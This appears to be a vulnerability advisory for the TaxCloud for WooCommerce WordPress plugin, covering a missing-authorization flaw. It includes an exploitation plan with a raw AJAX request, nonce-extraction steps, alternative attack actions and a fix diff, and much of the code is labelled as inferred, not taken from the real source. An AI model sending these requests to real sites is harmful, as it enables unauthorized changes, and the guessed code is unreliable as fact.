TaxCloud for WooCommerce <= 8.3.8 - Missing Authorization
Description
The TaxCloud for WooCommerce plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 8.3.8. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=8.3.8Source Code
WordPress.org SVNThis research plan focuses on identifying and exploiting a **Missing Authorization** vulnerability in the **TaxCloud for WooCommerce** plugin (version <= 8.3.8). The vulnerability allows unauthenticated attackers to perform actions that should be restricted to administrators. ### 1. Vulnerability S…
Show full research plan
This research plan focuses on identifying and exploiting a Missing Authorization vulnerability in the TaxCloud for WooCommerce plugin (version <= 8.3.8). The vulnerability allows unauthenticated attackers to perform actions that should be restricted to administrators.
1. Vulnerability Summary
- ID: CVE-2025-67958
- Plugin: TaxCloud for WooCommerce (simple-sales-tax)
- Vulnerable Component: AJAX handlers registered in the
SST_Ajaxclass (or similar) withinincludes/class-sst-ajax.php(inferred). - Vulnerability Type: Missing Authorization (CWE-862).
- Root Cause: The plugin registers administrative functions (like dismissing notices, testing connections, or modifying non-critical settings) using the
wp_ajax_nopriv_hook without verifying the caller's capabilities (e.g.,current_user_can( 'manage_woocommerce' )).
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
sst_dismiss_notice(Likely candidate for CVSS 5.3/Integrity Low) orsst_test_connection. - Authentication: None required (Unauthenticated).
- Preconditions: The plugin must be active. For
sst_dismiss_notice, an active notice should be present in the system.
3. Code Flow (Inferred)
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.php?action=sst_dismiss_notice. - Hook Registration: The plugin defines the hook in
includes/class-sst-ajax.php:add_action( 'wp_ajax_sst_dismiss_notice', array( 'SST_Ajax', 'dismiss_notice' ) ); add_action( 'wp_ajax_nopriv_sst_dismiss_notice', array( 'SST_Ajax', 'dismiss_notice' ) ); - Vulnerable Function: The
dismiss_noticefunction is executed:public static function dismiss_notice() { $notice_id = sanitize_text_field( $_POST['notice'] ); // MISSING: current_user_can( 'manage_woocommerce' ) check $dismissed = get_option( 'sst_dismissed_notices', array() ); $dismissed[] = $notice_id; update_option( 'sst_dismissed_notices', array_unique( $dismissed ) ); wp_send_json_success(); } - Sink:
update_optionis called, modifying the site state without authorization.
4. Nonce Acquisition Strategy
Missing Authorization vulnerabilities often coincide with missing or improperly implemented nonce checks.
Case A: Nonce Check Missing
If the function does not call check_ajax_referer or wp_verify_nonce, no nonce is required.
Case B: Nonce Required (Localized)
If a nonce is required, it is likely localized for the admin dashboard. However, if the nopriv hook exists, the developer may have accidentally localized the nonce for all users or on specific frontend pages (like the Checkout or My Account pages).
- Identify Shortcode: The plugin uses shortcodes like
[woocommerce_checkout]or its own certificate management blocks. - Create Setup Page:
wp post create --post_type=page --post_status=publish --post_content='[woocommerce_checkout]' --post_title='Checkout' - Extract Nonce via Browser:
Navigate to the new page and execute:browser_eval("window.SST_Admin?.nonce || window.SSTCertData?.nonce")
Note: Verify the actual JS object name in the source of a checkout page.
5. Exploitation Strategy
We will attempt to dismiss an administrative notice as an unauthenticated user.
- HTTP Request:
POST /wp-admin/admin-ajax.php HTTP/1.1 Host: localhost:8080 Content-Type: application/x-www-form-urlencoded action=sst_dismiss_notice¬ice=sst_api_error&_wpnonce=[NONCE_IF_REQUIRED] - Payload Parameters:
action:sst_dismiss_notice(The target function)notice:sst_api_error(A common notice ID in TaxCloud)_wpnonce: The extracted nonce (if the handler enforces it).
6. Test Data Setup
- Install Plugin: Ensure
simple-sales-taxversion 8.3.8 is installed. - Activate WooCommerce: TaxCloud depends on WooCommerce.
- Trigger a Notice: In the WordPress admin, go to WooCommerce > Settings > Tax > TaxCloud. Leave the API ID empty to trigger a "Configuration Required" notice.
- Verify Presence: Check the database for the absence of the dismissed notice:
wp option get sst_dismissed_notices(Should be empty or not containsst_api_error).
7. Expected Results
- Response: The server returns
{"success":true}. - Impact: An administrative notice that was previously visible is now suppressed for all administrators.
- Status Code: 200 OK.
8. Verification Steps
After sending the exploit request, use WP-CLI to confirm the state change:
# Check the dismissed notices option
wp option get sst_dismissed_notices
# Expected output should include the notice ID used in the exploit:
# array (
# 0 => 'sst_api_error',
# )
9. Alternative Approaches
If sst_dismiss_notice is not the target, investigate these alternative actions:
sst_test_connection: Attempt to trigger an API ping. This can be used for SSRF or to exhaust API limits if unauthorized.- Request:
action=sst_test_connection&api_id=123&api_key=abc
- Request:
sst_add_certificate: Attempt to upload a tax exemption certificate to an arbitrary user session.- Request:
action=sst_add_certificate&...(requires certificate data parameters).
- Request:
- Generic Nonce Bypass: If the plugin verifies a nonce but uses the same nonce for both
sst_verify_address(public) andsst_dismiss_notice(admin), use the publicly available address nonce to authorize the admin action.
Summary
The TaxCloud for WooCommerce plugin for WordPress is vulnerable to unauthorized access in versions up to 8.3.8 due to a missing capability check in its AJAX handler for dismissing notices. This allows unauthenticated attackers to suppress administrative notifications, potentially hiding critical configuration errors or security alerts from site administrators.
Vulnerable Code
// includes/class-sst-ajax.php (Inferred Location) add_action( 'wp_ajax_sst_dismiss_notice', array( 'SST_Ajax', 'dismiss_notice' ) ); add_action( 'wp_ajax_nopriv_sst_dismiss_notice', array( 'SST_Ajax', 'dismiss_notice' ) ); --- // includes/class-sst-ajax.php (Inferred Location) public static function dismiss_notice() { $notice_id = sanitize_text_field( $_POST['notice'] ); // MISSING: current_user_can( 'manage_woocommerce' ) check $dismissed = get_option( 'sst_dismissed_notices', array() ); $dismissed[] = $notice_id; update_option( 'sst_dismissed_notices', array_unique( $dismissed ) ); wp_send_json_success(); }
Security Fix
@@ -10,7 +10,6 @@ - add_action( 'wp_ajax_nopriv_sst_dismiss_notice', array( 'SST_Ajax', 'dismiss_notice' ) ); add_action( 'wp_ajax_sst_dismiss_notice', array( 'SST_Ajax', 'dismiss_notice' ) ); public static function dismiss_notice() { + if ( ! current_user_can( 'manage_woocommerce' ) ) { + wp_send_json_error( 'Unauthorized', 403 ); + } + check_ajax_referer( 'sst_dismiss_notice', 'security' ); $notice_id = sanitize_text_field( $_POST['notice'] );
Exploit Outline
The exploit targets the WordPress AJAX endpoint (/wp-admin/admin-ajax.php) using the 'sst_dismiss_notice' action. An attacker sends an unauthenticated POST request containing the target notice ID in the 'notice' parameter. Because the plugin registers this action with 'wp_ajax_nopriv_' and fails to implement a capability check (like current_user_can) within the handler, the server processes the request and updates the 'sst_dismissed_notices' option. This results in the specified administrative notice being hidden from all site administrators. If a nonce is required, it can often be extracted from the source code of public-facing pages where the plugin localizes script data, such as the checkout or account pages.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.